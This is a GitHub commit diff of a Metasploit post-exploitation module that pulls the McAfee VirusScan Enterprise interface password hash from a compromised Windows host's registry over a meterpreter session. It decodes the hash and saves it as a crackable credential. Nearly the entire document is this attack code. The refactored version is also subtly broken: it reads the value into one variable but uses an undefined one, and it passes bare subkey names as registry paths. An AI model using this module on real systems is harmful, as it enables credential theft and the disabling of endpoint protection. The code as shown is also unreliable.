Skip to content

Commit 35fd17c

Browse files
committed
Cleanup style
1 parent 89699d1 commit 35fd17c

File tree

1 file changed

+80
-71
lines changed

1 file changed

+80
-71
lines changed

modules/post/windows/gather/credentials/mcafee_hashdump.rb

Lines changed: 80 additions & 71 deletions
Original file line numberDiff line numberDiff line change
@@ -9,98 +9,107 @@
99
require 'rex/proto/rfb'
1010

1111
class Metasploit3 < Msf::Post
12-
1312
include Msf::Post::Windows::Registry
1413
include Msf::Auxiliary::Report
1514
include Msf::Post::Windows::UserProfiles
1615

17-
def initialize(info={})
18-
super( update_info( info,
19-
'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',
20-
'Description' => %q{ This module extracts the password
21-
hash from McAfee Virus Scan Enterprise used to lock down the user interface.
22-
Credits: Maurizio inode Agazzini},
23-
'License' => MSF_LICENSE,
24-
'Author' => [ 'Mike Manzotti <michelemanzotti[at]gmail.com>'],
25-
'Platform' => [ 'win' ],
26-
'SessionTypes' => [ 'meterpreter' ]
27-
))
16+
def initialize(info = {})
17+
super(update_info(
18+
info,
19+
'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',
20+
'Description' => %q(
21+
This module extracts the password hash from McAfee Virus Scan
22+
Enterprise used to lock down the user interface.
23+
),
24+
'License' => MSF_LICENSE,
25+
'Author' => [
26+
'Mike Manzotti <michelemanzotti[at]gmail.com>', # Metasploit module?
27+
'Maurizio inode Agazzini' # original research?
28+
],
29+
'Platform' => [ 'win' ],
30+
'SessionTypes' => [ 'meterpreter' ]
31+
))
32+
end
2833

34+
def enum_vse_keys
35+
subkeys = []
36+
[
37+
'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit
38+
'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit
39+
].each do |key|
40+
subkeys |= registry_enumkeys(key)
41+
end
42+
subkeys.compact
2943
end
3044

31-
def run
32-
print_status("Checking McAfee password hash on #{sysinfo['Computer']} ...")
33-
34-
# Checking if McAfee 64bit can be found in the registry keys
35-
check_reg = 'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection'
36-
subkeys = registry_enumkeys(check_reg)
37-
if subkeys.nil? or subkeys.empty?
38-
39-
# Checking for McAfee 32bit
40-
check_reg = 'HKLM\\Software\\McAfee\\DesktopProtection'
41-
subkeys = registry_enumkeys(check_reg)
42-
if subkeys.nil? or subkeys.empty?
43-
print_error ("McAfee Not Installed or No Permissions to RegKey")
45+
def extract_hashes(keys)
46+
keys.each do |key|
47+
hash = registry_getvaldata(key, "UIPEx")
48+
if hash.empty?
49+
vprint_error("No McAfee password hash found in #{key}")
4450
return
4551
end
46-
end
47-
48-
mcafee_hash = registry_getvaldata(check_reg, "UIPEx")
49-
if mcafee_hash == nil or mcafee_hash == ""
50-
print_error ("Could not find McAfee password hash")
51-
return
52-
else
53-
#Base64 decode mcafee_hash
54-
mcafee_version = registry_getvaldata(check_reg, "szProductVer")
55-
if mcafee_version.split(".")[0] == "8"
56-
mcafee_hash = Rex::Text.to_hex(Rex::Text.decode_base64(mcafee_hash),"")
57-
print_good("McAfee v8 password hash => #{mcafee_hash}");
58-
hashtype = "dynamic_1405"
59-
elsif mcafee_version.split(".")[0] == "5"
60-
print_good("McAfee v5 password hash => #{mcafee_hash}");
61-
hashtype = "md5u"
62-
else
63-
print_status("Could not identify the version of McAfee - Assuming v8")
64-
end
65-
66-
67-
# report
52+
53+
# Base64 decode mcafee_hash
54+
mcafee_version = registry_getvaldata(key, "szProductVer")
55+
if mcafee_version.split(".")[0] == "8"
56+
mcafee_hash = Rex::Text.to_hex(Rex::Text.decode_base64(mcafee_hash), "")
57+
print_good("McAfee v8 password hash => #{mcafee_hash}")
58+
hashtype = "dynamic_1405"
59+
elsif mcafee_version.split(".")[0] == "5"
60+
print_good("McAfee v5 password hash => #{mcafee_hash}")
61+
hashtype = "md5u"
62+
else
63+
print_status("Could not identify the version of McAfee - Assuming v8")
64+
end
65+
66+
# report
6867
service_data = {
69-
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
70-
port: rport,
71-
service_name: 'McAfee',
72-
protocol: 'tcp',
73-
workspace_id: myworkspace_id
68+
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
69+
port: rport,
70+
service_name: 'McAfee',
71+
protocol: 'tcp',
72+
workspace_id: myworkspace_id
7473
}
75-
74+
7675
# Initialize Metasploit::Credential::Core object
7776
credential_data = {
78-
post_reference_name: self.refname,
79-
origin_type: :session,
80-
private_type: :password,
81-
private_data: mcafee_hash,
82-
session_id: session_db_id,
83-
jtr_format: hashtype,
84-
workspace_id: myworkspace_id,
85-
username: "null"
86-
}
87-
77+
post_reference_name: refname,
78+
origin_type: :session,
79+
private_type: :password,
80+
private_data: mcafee_hash,
81+
session_id: session_db_id,
82+
jtr_format: hashtype,
83+
workspace_id: myworkspace_id,
84+
username: "null"
85+
}
86+
8887
# Merge the service data into the credential data
8988
credential_data.merge!(service_data)
90-
89+
9190
# Create the Metasploit::Credential::Core object
9291
credential_core = create_credential(credential_data)
9392

9493
# Assemble the options hash for creating the Metasploit::Credential::Login object
95-
login_data ={
96-
core: credential_core,
97-
status: Metasploit::Model::Login::Status::UNTRIED
94+
login_data = {
95+
core: credential_core,
96+
status: Metasploit::Model::Login::Status::UNTRIED
9897
}
9998

100-
# Merge in the service data and create our Login
101-
login_data.merge!(service_data)
102-
login = create_credential_login(login_data)
103-
99+
# Merge in the service data and create our Login
100+
create_credential_login(login_data.merge!(service_data))
101+
end
102+
end
103+
104+
def run
105+
print_status("Checking McAfee password hash on #{sysinfo['Computer']} ...")
106+
107+
vse_keys = enum_vse_keys
108+
if vse_keys.empty?
109+
print_error("McAfee Virus Scan Enterprise not installed or insufficient permissions")
110+
return
104111
end
112+
113+
extract_hashes(vse_keys)
105114
end
106115
end

0 commit comments

Comments
 (0)